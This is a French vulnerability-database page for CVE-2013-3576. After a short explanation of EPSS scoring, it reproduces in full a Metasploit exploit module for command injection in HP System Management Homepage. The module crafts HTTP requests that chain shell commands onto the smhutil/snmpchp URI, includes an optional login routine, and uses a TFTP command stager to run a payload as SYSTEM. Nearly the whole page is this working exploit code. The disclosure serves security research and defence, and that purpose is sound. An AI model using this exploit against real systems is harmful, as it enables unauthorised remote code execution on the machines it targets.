CVE-2013-3576 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::CmdStagerTFTP include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "HP System Management Homepage JustGetSNMPQueue Command Injection", 'Description' => %q{ This module exploits a vulnerability found in HP System Management Homepage. By supplying a specially crafted HTTP request, it is possible to control the 'tempfilename' variable in function JustGetSNMPQueue (found in ginkgosnmp.inc), which will be used in a exec() function. This results in arbitrary code execution under the context of SYSTEM. Please note: In order for the exploit to work, the victim must enable the 'tftp' command, which is the case by default for systems such as Windows XP, 2003, etc. }, 'License' => MSF_LICENSE, 'Author' => [ 'Markus Wulftange', 'sinn3r' #Metasploit ], 'References' => [ ['CVE', '2013-3576'], ['OSVDB', '94191'], ['US-CERT-VU', '735364'] ], 'Payload' => { 'BadChars' => "\x00" }, 'DefaultOptions' => { 'SSL' => true }, 'Platform' => 'win', 'Targets' => [ ['Windows', {}], ], 'Privileged' => false, 'DisclosureDate' => "Jun 11 2013", 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(2381), # USERNAME/PASS may not be necessary, because the anonymous access is possible OptString.new("USERNAME", [false, 'The username to authenticate as']), OptString.new("PASSWORD", [false, 'The password to authenticate with']) ], self.class) end def peer "#{rhost}:#{rport}" end def check cookie = '' if not datastore['USERNAME'].to_s.empty? and not datastore['PASSWORD'].to_s.empty? cookie = login if cookie.empty? print_error("#{peer} - Login failed") return Exploit::CheckCode::Safe else print_good("#{peer} - Logged in as '#{datastore['USERNAME']}'") end end sig = Rex::Text.rand_text_alpha(10) cmd = Rex::Text.uri_encode("echo #{sig}") uri = normalize_uri("smhutil", "snmpchp/") + "&&#{cmd}&&echo" req_opts = {} req_opts['uri'] = uri if not cookie.empty? browser_chk = 'HPSMH-browser-check=done for this session' curl_loc = "curlocation-#{datastore['USERNAME']}=" req_opts['cookie'] = "#{cookie}; #{browser_chk}; #{curl_loc}" end res = send_request_raw(req_opts) if not res print_error("#{peer} - Connection timed out") return Exploit::CheckCode::Unknown end if res.body =~ /SNMP data engine output/ and res.body =~ /#{sig}/ return Exploit::CheckCode::Vulnerable end Exploit::CheckCode::Safe end def login username = datastore['USERNAME'] password = datastore['PASSWORD'] cookie = '' res = send_request_cgi({ 'method' => 'POST', 'uri' => '/proxy/ssllogin', 'vars_post' => { 'redirecturl' => '', 'redirectquerystring' => '', 'user' => username, 'password' => password } }) if not res fail_with(Exploit::Failure::Unknown, "#{peer} - Connection timed out during login") end # CpqElm-Login: success if res.headers['CpqElm-Login'].to_s =~ /success/ cookie = res.headers['Set-Cookie'].scan(/(Compaq\-HMMD=[\w\-]+)/).flatten[0] || '' end cookie end def setup_stager execute_cmdstager({ :temp => '.'}) end def execute_command(cmd, opts={}) # Payload will be: C:\hp\hpsmh\data\htdocs\smhutil uri = Rex::Text.uri_encode("#{@uri}#{cmd}&&echo") req_opts = {} req_opts['uri'] = uri if not @cookie.empty? browser_chk = 'HPSMH-browser-check=done for this session' curl_loc = "curlocation-#{datastore['USERNAME']}=" req_opts['cookie'] = "#{@cookie}; #{browser_chk}; #{curl_loc}" end print_status("#{peer} - Executing: #{cmd}") res = send_request_raw(req_opts) end def exploit @cookie = '' if not datastore['USERNAME'].to_s.empty? and not datastore['PASSWORD'].to_s.empty? @cookie = login if @cookie.empty? fail_with(Exploit::Failure::NoAccess, "#{peer} - Login failed") else print_good("#{peer} - Logged in as '#{datastore['USERNAME']}'") end end @uri = normalize_uri('smhutil', 'snmpchp/') + "&&" setup_stager end end